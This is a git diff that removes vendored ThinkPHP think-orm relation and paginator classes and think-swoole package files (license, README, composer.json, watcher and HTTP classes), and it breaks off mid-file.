a/vendor/topthink/think-orm/src/model/relation/MorphToMany.php +++ /dev/null @@ -1,458 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use Exception; -use think\db\BaseQuery as Query; -use think\db\Raw; -use think\Model; -use think\model\Pivot; - -/** - * 多态多对多关联 - */ -class MorphToMany extends BelongsToMany -{ - - /** - * 多态字段名 - * @var string - */ - protected $morphType; - - /** - * 多态模型名 - * @var string - */ - protected $morphClass; - - /** - * 是否反向关联 - * @var bool - */ - protected $inverse; - - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $middle 中间表名/模型名 - * @param string $morphKey 关联外键 - * @param string $morphType 多态字段名 - * @param string $localKey 当前模型关联键 - * @param bool $inverse 反向关联 - */ - public function __construct(Model $parent, string $model, string $middle, string $morphType, string $morphKey, string $localKey, bool $inverse = false) - { - $this->morphType = $morphType; - $this->inverse = $inverse; - $this->morphClass = $inverse ? $model : get_class($parent); - - $foreignKey = $inverse ? $morphKey : $localKey; - $localKey = $inverse ? $localKey : $morphKey; - - parent::__construct($parent, $model, $middle, $foreignKey, $localKey); - } - - /** - * 预载入关联查询(数据集) - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $pk = $resultSet[0]->getPk(); - $range = []; - - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$pk)) { - $range[] = $result->$pk; - } - } - - if (!empty($range)) { - // 查询关联数据 - $data = $this->eagerlyManyToMany([ - ['pivot.' . $this->localKey, 'in', $range], - ['pivot.' . $this->morphType, '=', $this->morphClass], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - if (!isset($data[$result->$pk])) { - $data[$result->$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); - } - } - } - - /** - * 预载入关联查询(单个数据) - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $pk = $result->getPk(); - - if (isset($result->$pk)) { - $pk = $result->$pk; - // 查询管理数据 - $data = $this->eagerlyManyToMany([ - ['pivot.' . $this->localKey, '=', $pk], - ['pivot.' . $this->morphType, '=', $this->morphClass], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): float - { - $pk = $result->getPk(); - - if (!isset($result->$pk)) { - return 0; - } - - $pk = $result->$pk; - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ - ['pivot.' . $this->localKey, '=', $pk], - ['pivot.' . $this->morphType, '=', $this->morphClass], - ])->$aggregate($field); - } - - /** - * 获取关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ - ['pivot.' . $this->localKey, 'exp', new Raw('=' . $this->parent->db(false)->getTable() . '.' . $this->parent->getPk())], - ['pivot.' . $this->morphType, '=', $this->morphClass], - ])->fetchSql()->$aggregate($field); - } - - /** - * BELONGS TO MANY 关联查询 - * @access protected - * @param string $foreignKey 关联模型关联键 - * @param string $localKey 当前模型关联键 - * @param array $condition 关联查询条件 - * @return Query - */ - protected function belongsToManyQuery(string $foreignKey, string $localKey, array $condition = []): Query - { - // 关联查询封装 - $tableName = $this->query->getTable(); - $table = $this->pivot->db()->getTable(); - $fields = $this->getQueryFields($tableName); - - if ($this->withLimit) { - $this->query->limit($this->withLimit); - } - - $query = $this->query - ->field($fields) - ->tableField(true, $table, 'pivot', 'pivot__'); - - if (empty($this->baseQuery)) { - $relationFk = $this->query->getPk(); - $query->join([$table => 'pivot'], 'pivot.' . $foreignKey . '=' . $tableName . '.' . $relationFk) - ->where($condition); - } - - return $query; - } - - /** - * 多对多 关联模型预查询 - * @access protected - * @param array $where 关联预查询条件 - * @param array $subRelation 子关联 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyManyToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - // 预载入关联查询 支持嵌套预载入 - $list = $this->belongsToManyQuery($this->foreignKey, $this->localKey, $where) - ->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - - // 组装模型数据 - $data = []; - foreach ($list as $set) { - $pivot = []; - foreach ($set->getData() as $key => $val) { - if (strpos($key, '__')) { - [$name, $attr] = explode('__', $key, 2); - if ('pivot' == $name) { - $pivot[$attr] = $val; - unset($set->$key); - } - } - } - - $key = $pivot[$this->localKey]; - - if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { - continue; - } - - $set->setRelation($this->pivotDataName, $this->newPivot($pivot)); - - $data[$key][] = $set; - } - - return $data; - } - - /** - * 附加关联的一个中间表数据 - * @access public - * @param mixed $data 数据 可以使用数组、关联模型对象 或者 关联对象的主键 - * @param array $pivot 中间表额外数据 - * @return array|Pivot - */ - public function attach($data, array $pivot = []) - { - if (is_array($data)) { - if (key($data) === 0) { - $id = $data; - } else { - // 保存关联表数据 - $model = new $this->model; - $id = $model->insertGetId($data); - } - } else if (is_numeric($data) || is_string($data)) { - // 根据关联表主键直接写入中间表 - $id = $data; - } else if ($data instanceof Model) { - // 根据关联表主键直接写入中间表 - $id = $data->getKey(); - } - - if (!empty($id)) { - // 保存中间表数据 - $pivot[$this->localKey] = $this->parent->getKey(); - $pivot[$this->morphType] = $this->morphClass; - $ids = (array) $id; - - $result = []; - - foreach ($ids as $id) { - $pivot[$this->foreignKey] = $id; - - $this->pivot->replace() - ->exists(false) - ->data([]) - ->save($pivot); - $result[] = $this->newPivot($pivot); - } - - if (count($result) == 1) { - // 返回中间表模型对象 - $result = $result[0]; - } - - return $result; - } else { - throw new Exception('miss relation data'); - } - } - - /** - * 判断是否存在关联数据 - * @access public - * @param mixed $data 数据 可以使用关联模型对象 或者 关联对象的主键 - * @return Pivot|false - */ - public function attached($data) - { - if ($data instanceof Model) { - $id = $data->getKey(); - } else { - $id = $data; - } - - $pivot = $this->pivot - ->where($this->localKey, $this->parent->getKey()) - ->where($this->morphType, $this->morphClass) - ->where($this->foreignKey, $id) - ->find(); - - return $pivot ?: false; - } - - /** - * 解除关联的一个中间表数据 - * @access public - * @param integer|array $data 数据 可以使用关联对象的主键 - * @param bool $relationDel 是否同时删除关联表数据 - * @return integer - */ - public function detach($data = null, bool $relationDel = false): int - { - if (is_array($data)) { - $id = $data; - } else if (is_numeric($data) || is_string($data)) { - // 根据关联表主键直接写入中间表 - $id = $data; - } else if ($data instanceof Model) { - // 根据关联表主键直接写入中间表 - $id = $data->getKey(); - } - - // 删除中间表数据 - $pivot = [ - [$this->localKey, '=', $this->parent->getKey()], - [$this->morphType, '=', $this->morphClass], - ]; - - if (isset($id)) { - $pivot[] = [$this->foreignKey, is_array($id) ? 'in' : '=', $id]; - } - - $result = $this->pivot->where($pivot)->delete(); - - // 删除关联表数据 - if (isset($id) && $relationDel) { - $model = $this->model; - $model::destroy($id); - } - - return $result; - } - - /** - * 数据同步 - * @access public - * @param array $ids - * @param bool $detaching - * @return array - */ - public function sync(array $ids, bool $detaching = true): array - { - $changes = [ - 'attached' => [], - 'detached' => [], - 'updated' => [], - ]; - - $current = $this->pivot - ->where($this->localKey, $this->parent->getKey()) - ->where($this->morphType, $this->morphClass) - ->column($this->foreignKey); - - $records = []; - - foreach ($ids as $key => $value) { - if (!is_array($value)) { - $records[$value] = []; - } else { - $records[$key] = $value; - } - } - - $detach = array_diff($current, array_keys($records)); - - if ($detaching && count($detach) > 0) { - $this->detach($detach); - $changes['detached'] = $detach; - } - - foreach ($records as $id => $attributes) { - if (!in_array($id, $current)) { - $this->attach($id, $attributes); - $changes['attached'][] = $id; - } else if (count($attributes) > 0 && $this->attach($id, $attributes)) { - $changes['updated'][] = $id; - } - } - - return $changes; - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery)) { - $foreignKey = $this->foreignKey; - $localKey = $this->localKey; - - // 关联查询 - $this->belongsToManyQuery($foreignKey, $localKey, [ - ['pivot.' . $localKey, '=', $this->parent->getKey()], - ['pivot.' . $this->morphType, '=', $this->morphClass], - ]); - - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/OneToOne.php b/vendor/topthink/think-orm/src/model/relation/OneToOne.php deleted file mode 100644 index 65bbfda..0000000 --- a/vendor/topthink/think-orm/src/model/relation/OneToOne.php +++ /dev/null @@ -1,328 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 一对一关联基础类 - * @package think\model\relation - */ -abstract class OneToOne extends Relation -{ - /** - * JOIN类型 - * @var string - */ - protected $joinType = 'INNER'; - - /** - * 绑定的关联属性 - * @var array - */ - protected $bindAttr = []; - - /** - * 关联名 - * @var string - */ - protected $relation; - - /** - * 设置join类型 - * @access public - * @param string $type JOIN类型 - * @return $this - */ - public function joinType(string $type) - { - $this->joinType = $type; - return $this; - } - - /** - * 预载入关联查询(JOIN方式) - * @access public - * @param Query $query 查询对象 - * @param string $relation 关联名 - * @param mixed $field 关联字段 - * @param string $joinType JOIN方式 - * @param Closure $closure 闭包条件 - * @param bool $first - * @return void - */ - public function eagerly(Query $query, string $relation, $field = true, string $joinType = '', Closure $closure = null, bool $first = false): void - { - $name = Str::snake(class_basename($this->parent)); - - if ($first) { - $table = $query->getTable(); - $query->table([$table => $name]); - - if ($query->getOptions('field')) { - $masterField = $query->getOptions('field'); - $query->removeOption('field'); - } else { - $masterField = true; - } - - $query->tableField($masterField, $table, $name); - } - - // 预载入封装 - $joinTable = $this->query->getTable(); - $joinAlias = $relation; - $joinType = $joinType ?: $this->joinType; - - $query->via($joinAlias); - - if ($this instanceof BelongsTo) { - $joinOn = $name . '.' . $this->foreignKey . '=' . $joinAlias . '.' . $this->localKey; - } else { - $joinOn = $name . '.' . $this->localKey . '=' . $joinAlias . '.' . $this->foreignKey; - } - - if ($closure) { - // 执行闭包查询 - $closure($this->getClosureType($closure)); - - // 使用withField指定获取关联的字段 - if ($this->withField) { - $field = $this->withField; - } - } - - $query->join([$joinTable => $joinAlias], $joinOn, $joinType) - ->tableField($field, $joinTable, $joinAlias, $relation . '__'); - } - - /** - * 预载入关联查询(数据集) - * @access protected - * @param array $resultSet - * @param string $relation - * @param array $subRelation - * @param Closure $closure - * @return mixed - */ - abstract protected function eagerlySet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null); - - /** - * 预载入关联查询(数据) - * @access protected - * @param Model $result - * @param string $relation - * @param array $subRelation - * @param Closure $closure - * @return mixed - */ - abstract protected function eagerlyOne(Model $result, string $relation, array $subRelation = [], Closure $closure = null); - - /** - * 预载入关联查询(数据集) - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @param bool $join 是否为JOIN方式 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = [], bool $join = false): void - { - if ($join) { - // 模型JOIN关联组装 - foreach ($resultSet as $result) { - $this->match($this->model, $relation, $result); - } - } else { - // IN查询 - $this->eagerlySet($resultSet, $relation, $subRelation, $closure, $cache); - } - } - - /** - * 预载入关联查询(数据) - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @param bool $join 是否为JOIN方式 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = [], bool $join = false): void - { - if ($join) { - // 模型JOIN关联组装 - $this->match($this->model, $relation, $result); - } else { - // IN查询 - $this->eagerlyOne($result, $relation, $subRelation, $closure, $cache); - } - } - - /** - * 保存(新增)当前关联数据对象 - * @access public - * @param mixed $data 数据 可以使用数组 关联模型对象 - * @param boolean $replace 是否自动识别更新和写入 - * @return Model|false - */ - public function save($data, bool $replace = true) - { - if ($data instanceof Model) { - $data = $data->getData(); - } - - $model = new $this->model; - // 保存关联表数据 - $data[$this->foreignKey] = $this->parent->{$this->localKey}; - - return $model->replace($replace)->save($data) ? $model : false; - } - - /** - * 绑定关联表的属性到父模型属性 - * @access public - * @param array $attr 要绑定的属性列表 - * @return $this - */ - public function bind(array $attr) - { - $this->bindAttr = $attr; - - return $this; - } - - /** - * 获取绑定属性 - * @access public - * @return array - */ - public function getBindAttr(): array - { - return $this->bindAttr; - } - - /** - * 一对一 关联模型预查询拼装 - * @access public - * @param string $model 模型名称 - * @param string $relation 关联名 - * @param Model $result 模型对象实例 - * @return void - */ - protected function match(string $model, string $relation, Model $result): void - { - // 重新组装模型数据 - foreach ($result->getData() as $key => $val) { - if (strpos($key, '__')) { - [$name, $attr] = explode('__', $key, 2); - if ($name == $relation) { - $list[$name][$attr] = $val; - unset($result->$key); - } - } - } - - if (isset($list[$relation])) { - $array = array_unique($list[$relation]); - - if (count($array) == 1 && null === current($array)) { - $relationModel = null; - } else { - $relationModel = new $model($list[$relation]); - $relationModel->setParent(clone $result); - $relationModel->exists(true); - } - - if (!empty($this->bindAttr)) { - $this->bindAttr($result, $relationModel); - } - } else { - $relationModel = null; - } - - $result->setRelation($relation, $relationModel); - } - - /** - * 绑定关联属性到父模型 - * @access protected - * @param Model $result 父模型对象 - * @param Model $model 关联模型对象 - * @return void - * @throws Exception - */ - protected function bindAttr(Model $result, Model $model = null): void - { - foreach ($this->bindAttr as $key => $attr) { - $key = is_numeric($key) ? $attr : $key; - $value = $result->getOrigin($key); - - if (!is_null($value)) { - throw new Exception('bind attr has exists:' . $key); - } - - $result->setAttr($key, $model ? $model->$attr : null); - } - } - - /** - * 一对一 关联模型预查询(IN方式) - * @access public - * @param array $where 关联预查询条件 - * @param string $key 关联键名 - * @param array $subRelation 子关联 - * @param Closure $closure - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []) - { - // 预载入关联查询 支持嵌套预载入 - if ($closure) { - $this->baseQuery = true; - $closure($this->getClosureType($closure)); - } - - if ($this->withField) { - $this->query->field($this->withField); - } - - $list = $this->query - ->where($where) - ->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - - // 组装模型数据 - $data = []; - - foreach ($list as $set) { - if (!isset($data[$set->$key])) { - $data[$set->$key] = $set; - } - } - - return $data; - } - -} diff --git a/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php b/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php deleted file mode 100644 index 6d55c39..0000000 --- a/vendor/topthink/think-orm/src/paginator/driver/Bootstrap.php +++ /dev/null @@ -1,209 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\paginator\driver; - -use think\Paginator; - -/** - * Bootstrap 分页驱动 - */ -class Bootstrap extends Paginator -{ - - /** - * 上一页按钮 - * @param string $text - * @return string - */ - protected function getPreviousButton(string $text = "«"): string - { - - if ($this->currentPage() <= 1) { - return $this->getDisabledTextWrapper($text); - } - - $url = $this->url( - $this->currentPage() - 1 - ); - - return $this->getPageLinkWrapper($url, $text); - } - - /** - * 下一页按钮 - * @param string $text - * @return string - */ - protected function getNextButton(string $text = '»'): string - { - if (!$this->hasMore) { - return $this->getDisabledTextWrapper($text); - } - - $url = $this->url($this->currentPage() + 1); - - return $this->getPageLinkWrapper($url, $text); - } - - /** - * 页码按钮 - * @return string - */ - protected function getLinks(): string - { - if ($this->simple) { - return ''; - } - - $block = [ - 'first' => null, - 'slider' => null, - 'last' => null, - ]; - - $side = 3; - $window = $side * 2; - - if ($this->lastPage < $window + 6) { - $block['first'] = $this->getUrlRange(1, $this->lastPage); - } elseif ($this->currentPage <= $window) { - $block['first'] = $this->getUrlRange(1, $window + 2); - $block['last'] = $this->getUrlRange($this->lastPage - 1, $this->lastPage); - } elseif ($this->currentPage > ($this->lastPage - $window)) { - $block['first'] = $this->getUrlRange(1, 2); - $block['last'] = $this->getUrlRange($this->lastPage - ($window + 2), $this->lastPage); - } else { - $block['first'] = $this->getUrlRange(1, 2); - $block['slider'] = $this->getUrlRange($this->currentPage - $side, $this->currentPage + $side); - $block['last'] = $this->getUrlRange($this->lastPage - 1, $this->lastPage); - } - - $html = ''; - - if (is_array($block['first'])) { - $html .= $this->getUrlLinks($block['first']); - } - - if (is_array($block['slider'])) { - $html .= $this->getDots(); - $html .= $this->getUrlLinks($block['slider']); - } - - if (is_array($block['last'])) { - $html .= $this->getDots(); - $html .= $this->getUrlLinks($block['last']); - } - - return $html; - } - - /** - * 渲染分页html - * @return mixed - */ - public function render() - { - if ($this->hasPages()) { - if ($this->simple) { - return sprintf( - '
      %s %s
    ', - $this->getPreviousButton(), - $this->getNextButton() - ); - } else { - return sprintf( - '
      %s %s %s
    ', - $this->getPreviousButton(), - $this->getLinks(), - $this->getNextButton() - ); - } - } - } - - /** - * 生成一个可点击的按钮 - * - * @param string $url - * @param string $page - * @return string - */ - protected function getAvailablePageWrapper(string $url, string $page): string - { - return '
  • ' . $page . '
  • '; - } - - /** - * 生成一个禁用的按钮 - * - * @param string $text - * @return string - */ - protected function getDisabledTextWrapper(string $text): string - { - return '
  • ' . $text . '
  • '; - } - - /** - * 生成一个激活的按钮 - * - * @param string $text - * @return string - */ - protected function getActivePageWrapper(string $text): string - { - return '
  • ' . $text . '
  • '; - } - - /** - * 生成省略号按钮 - * - * @return string - */ - protected function getDots(): string - { - return $this->getDisabledTextWrapper('...'); - } - - /** - * 批量生成页码按钮. - * - * @param array $urls - * @return string - */ - protected function getUrlLinks(array $urls): string - { - $html = ''; - - foreach ($urls as $page => $url) { - $html .= $this->getPageLinkWrapper($url, $page); - } - - return $html; - } - - /** - * 生成普通页码按钮 - * - * @param string $url - * @param string $page - * @return string - */ - protected function getPageLinkWrapper(string $url, string $page): string - { - if ($this->currentPage() == $page) { - return $this->getActivePageWrapper($page); - } - - return $this->getAvailablePageWrapper($url, $page); - } -} diff --git a/vendor/topthink/think-swoole/.gitignore b/vendor/topthink/think-swoole/.gitignore deleted file mode 100644 index ccdd1dc..0000000 --- a/vendor/topthink/think-swoole/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ - -.DS_Store -*.xml -.idea/think-swoole.iml -composer.lock -vendor \ No newline at end of file diff --git a/vendor/topthink/think-swoole/LICENSE b/vendor/topthink/think-swoole/LICENSE deleted file mode 100644 index 8dada3e..0000000 --- a/vendor/topthink/think-swoole/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-swoole/README.md b/vendor/topthink/think-swoole/README.md deleted file mode 100644 index c8789b1..0000000 --- a/vendor/topthink/think-swoole/README.md +++ /dev/null @@ -1,36 +0,0 @@ -ThinkPHP Swoole 扩展 -=============== - -## 安装 - -首先按照Swoole官网说明安装swoole扩展,然后使用 -~~~ -composer require topthink/think-swoole -~~~ -安装swoole扩展。 - -## 使用方法 - - -直接在命令行下启动HTTP服务端。 - -~~~ -php think swoole -~~~ - -启动完成后,默认会在0.0.0.0:80启动一个HTTP Server,可以直接访问当前的应用。 - -swoole的相关参数可以在`config/swoole.php`里面配置(具体参考配置文件内容)。 - -如果需要使用守护进程方式运行,可以配置 - -~~~ -'options' => [ - 'daemonize' => true -] -~~~ - -支持的操作包括 -~~~ -php think swoole [start|stop|reload|restart] -~~~ \ No newline at end of file diff --git a/vendor/topthink/think-swoole/composer.json b/vendor/topthink/think-swoole/composer.json deleted file mode 100644 index b358ca7..0000000 --- a/vendor/topthink/think-swoole/composer.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "name": "topthink/think-swoole", - "description": "Swoole extend for thinkphp", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "require": { - "php": ">7.1", - "ext-swoole": ">=4.4.8", - "ext-json": "*", - "topthink/framework": "^6.0", - "symfony/finder": "^4.3.2", - "swoole/ide-helper": "^4.3", - "nette/php-generator": "^3.2", - "open-smf/connection-pool": "~1.0" - }, - "autoload": { - "psr-4": { - "think\\swoole\\": "src" - }, - "files": [ - "src/helpers.php" - ] - }, - "extra": { - "think": { - "services": [ - "think\\swoole\\Service" - ], - "config": { - "swoole": "src/config/swoole.php" - } - } - }, - "require-dev": { - "symfony/var-dumper": "^4.3" - } -} diff --git a/vendor/topthink/think-swoole/src/App.php b/vendor/topthink/think-swoole/src/App.php deleted file mode 100644 index c0184af..0000000 --- a/vendor/topthink/think-swoole/src/App.php +++ /dev/null @@ -1,13 +0,0 @@ -finder = new Finder(); - $this->finder->files() - ->name($name) - ->in($directory) - ->exclude($exclude); - } - - protected function findFiles() - { - $files = []; - /** @var SplFileInfo $f */ - foreach ($this->finder as $f) { - $files[$f->getRealpath()] = $f->getMTime(); - } - return $files; - } - - public function watch(callable $callback) - { - $this->files = $this->findFiles(); - - Timer::tick(1000, function () use ($callback) { - - $files = $this->findFiles(); - - foreach ($files as $path => $time) { - if (empty($this->files[$path]) || $this->files[$path] != $time) { - call_user_func($callback); - break; - } - } - - $this->files = $files; - }); - } -} diff --git a/vendor/topthink/think-swoole/src/Http.php b/vendor/topthink/think-swoole/src/Http.php deleted file mode 100644 index 1bd9f7b..0000000 --- a/vendor/topthink/think-swoole/src/Http.php +++ /dev/null @@ -1,58 +0,0 @@ -app->middleware; - $this->modifyProperty(self::$middleware, null); - } - - $middleware = clone self::$middleware; - $this->modifyProperty($middleware, $this->app); - $this->app->instance("middleware", $middleware); - } - - protected function loadRoutes(): void - { - if (!isset(self::$route)) { - parent::loadRoutes(); - self::$route = clone $this->app->route; - $this->modifyProperty(self::$route, null); - $this->modifyProperty(self::$route, null, 